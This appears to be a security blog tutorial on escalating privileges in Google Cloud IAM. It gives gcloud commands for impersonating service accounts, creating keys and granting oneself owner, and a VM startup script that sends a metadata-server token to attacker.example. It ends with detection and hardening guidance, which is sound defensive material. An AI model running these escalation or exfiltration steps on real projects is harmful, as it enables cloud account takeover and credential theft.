Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against Google Cloud projects you own or have explicit written permission to assess. Unauthorized access to cloud resources is illegal under the CFAA and equivalent laws worldwide.
Introduction / Overview
Google Cloud Platform (GCP) IAM is deceptively simple on the surface but rich with implicit trust relationships. Unlike host-based privilege escalation, GCP escalation is almost always a matter of who can act as whom. A single over-permissive binding — roles/iam.serviceAccountTokenCreator on the wrong principal, or iam.serviceAccounts.actAs baked into a custom role — can turn a low-privileged identity into project owner.
In this article we walk through the most common and reliable GCP privilege escalation primitives: service account impersonation, the actAs permission used by compute and Cloud Functions, and setIamPolicy-based self-grants. We use the gcloud CLI throughout, then close with detection and hardening guidance that carries equal weight to the offense.
How it works / Background
Every GCP identity (user, group, or service account) is granted permissions through roles bound in an IAM policy. The permissions that matter for escalation fall into a few families:
iam.serviceAccounts.getAccessToken— granted byroles/iam.serviceAccountTokenCreator. Lets you mint a short-lived OAuth token as a target service account. This is direct impersonation.iam.serviceAccounts.actAs— required to attach a service account to a resource you create (a GCE VM, Cloud Function, Cloud Run service, Dataflow job). You don't get the SA's token directly, but the resource runs with the SA's identity, and you control that resource's code.*.setIamPolicy— present on many resource types (projects, buckets, SAs, Pub/Sub). It lets the holder rewrite the IAM policy and grant themselves a higher role.iam.serviceAccountKeys.create— lets you export a long-lived JSON key for a service account, then authenticate as it indefinitely.
The escalation game is to find a chain from your current identity to a more privileged service account, and from there ideally to roles/owner or roles/editor.
Prerequisites / Lab setup
You need a GCP project where you can deliberately introduce a misconfiguration, plus the SDK. Authenticate as a low-privileged tester identity:
gcloud auth login
gcloud config set project my-pentest-labBashEnumerate what your current principal can actually do — testIamPermissions is the safest way and does not require listing the full policy:
# Who am I?
gcloud auth list
ACTIVE=$(gcloud config get-value account)
# Test a batch of escalation-relevant permissions against the project
gcloud projects test-iam-permissions my-pentest-lab \
--permissions=iam.serviceAccounts.actAs,iam.serviceAccounts.getAccessToken,iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicyBashList every service account in the project and probe which ones you can impersonate:
# Enumerate service accounts
gcloud iam service-accounts list
# Check impersonation rights on a specific SA
gcloud iam service-accounts test-iam-permissions \
privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
--permissions=iam.serviceAccounts.getAccessToken,iam.serviceAccounts.actAsBashWalkthrough / PoC
Path 1 — Direct impersonation via Token Creator
If you hold roles/iam.serviceAccountTokenCreator on privileged-sa, you can run commands as that SA without ever touching a key file. gcloud supports this natively:
# Mint a raw access token as the target SA
gcloud auth print-access-token \
--impersonate-service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com
# Or impersonate per-command with --impersonate-service-account
gcloud projects get-iam-policy my-pentest-lab \
--impersonate-service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.comBashIf privileged-sa itself holds Token Creator over an even more privileged SA, you can chain impersonation by passing a delegation chain:
gcloud auth print-access-token \
--impersonate-service-account=final-sa@my-pentest-lab.iam.gserviceaccount.com \
--impersonate-service-account-delegates=privileged-sa@my-pentest-lab.iam.gserviceaccount.comBashPath 2 — actAs via a new Compute instance
When you have iam.serviceAccounts.actAs on a privileged SA plus compute.instances.create, attach the SA to a VM you control and read its token from the metadata server. The default --scopes=cloud-platform is the key — it grants the full API surface:
gcloud compute instances create exfil-vm \
--zone=us-central1-a \
--service-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
--scopes=https://www.googleapis.com/auth/cloud-platform \
--metadata=startup-script='#! /bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
echo "$TOKEN" | curl -s -X POST -d @- https://attacker.example/collect'BashThe startup script grabs the SA access token from the metadata endpoint and exfiltrates it. The same idea works with Cloud Functions (gcloud functions deploy --service-account=...) and Cloud Run.
Path 3 — Self-grant via setIamPolicy
If your principal can call setIamPolicy on the project (resourcemanager.projects.setIamPolicy), the game is over — bind yourself owner:
gcloud projects add-iam-policy-binding my-pentest-lab \
--member="user:${ACTIVE}" \
--role="roles/owner"BashThe same applies at narrower scopes. setIamPolicy on a single service account lets you grant yourself Token Creator on it, falling back into Path 1:
gcloud iam service-accounts add-iam-policy-binding \
privileged-sa@my-pentest-lab.iam.gserviceaccount.com \
--member="user:${ACTIVE}" \
--role="roles/iam.serviceAccountTokenCreator"BashPath 4 — Long-lived key exfiltration
With iam.serviceAccountKeys.create, mint a JSON key and authenticate from anywhere — this also survives session expiry, which is why it is a favorite persistence mechanism:
gcloud iam service-accounts keys create /tmp/key.json \
--iam-account=privileged-sa@my-pentest-lab.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.jsonBashFor automated discovery of these chains, tools like GCP Scanner and the GCP modules in PMapper / gcpwn enumerate impersonation graphs for you. If you want a broader cloud-attack-path primer, see my cloud attack path mapping notes.
Mermaid diagram

The diagram shows four entry primitives converging on a privileged service account, then a self-grant of roles/owner once a sufficiently powerful SA is reached.
Detection & Defense (Blue Team)
Defense is about removing the trust edges and catching the abuse when an edge remains.
Eliminate the dangerous bindings.
- Audit who holds
roles/iam.serviceAccountTokenCreator,roles/iam.serviceAccountUser(which carriesactAs), androles/iam.serviceAccountKeyAdmin. These should be granted on specific service accounts, never at the project level. - Use the Policy Analyzer to find every principal that can impersonate or
actAsa given SA:
gcloud asset analyze-iam-policy \
--organization=ORG_ID \
--permissions=iam.serviceAccounts.actAs \
--full-resource-name=//iam.googleapis.com/projects/my-pentest-lab/serviceAccounts/privileged-sa@my-pentest-lab.iam.gserviceaccount.comBashDisable long-lived keys. Enforce the iam.disableServiceAccountKeyCreation organization policy constraint so serviceAccountKeys.create fails outright, pushing teams toward Workload Identity Federation and short-lived impersonation. Also enable iam.disableServiceAccountKeyUpload.
Constrain VM scopes and metadata. Avoid --scopes=cloud-platform on workloads; scope tokens to the minimum API. Enforce compute.instances.create restrictions and the constraints/compute.disableSerialPortAccess and metadata-related org policies.
Monitor the right logs. Service account impersonation and key creation are recorded in Cloud Audit Logs (Admin Activity), which is always on and immutable. Build alerts on these methodName values:
GenerateAccessToken/SignBlob(fromiamcredentials.googleapis.com) — impersonation in progress.google.iam.admin.v1.CreateServiceAccountKey— new long-lived key.SetIamPolicyon projects, SAs, or buckets — privilege changes.
# Hunt recent impersonation events
gcloud logging read \
'protoPayload.serviceName="iamcredentials.googleapis.com" AND
protoPayload.methodName:"GenerateAccessToken"' \
--project=my-pentest-lab --limit=20 --freshness=7dBashWire these into Security Command Center (the IAM Anomalous Grant and Privilege Escalation findings cover several of these chains) or an Event Threat Detection sink. These behaviors map to MITRE ATT&CK T1078.004 (Valid Accounts: Cloud Accounts) and T1098.003 (Additional Cloud Roles). For a deeper logging baseline, see my GCP audit logging guide.
Conclusion
GCP privilege escalation is fundamentally an IAM graph problem. The most reliable paths — direct impersonation via Token Creator, actAs through attachable resources, setIamPolicy self-grants, and key exfiltration — all hinge on a single misplaced binding. Map the graph before an attacker does: enumerate test-iam-permissions, run Policy Analyzer org-wide, disable key creation, and alert on GenerateAccessToken and SetIamPolicy. Treat every roles/iam.serviceAccountUser grant as a potential bridge to whatever that service account can reach.
References
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts — https://attack.mitre.org/techniques/T1078/004/
- MITRE ATT&CK — T1098.003 Additional Cloud Roles — https://attack.mitre.org/techniques/T1098/003/
- HackTricks Cloud — GCP Privilege Escalation — https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html
- Google Cloud — Service account impersonation — https://cloud.google.com/iam/docs/service-account-impersonation
- Google Cloud — Best practices for using service accounts — https://cloud.google.com/iam/docs/best-practices-service-accounts
- Google Cloud — Organization policy constraints (key creation) — https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts
- Rhino Security Labs — GCP Privilege Escalation Methods — https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments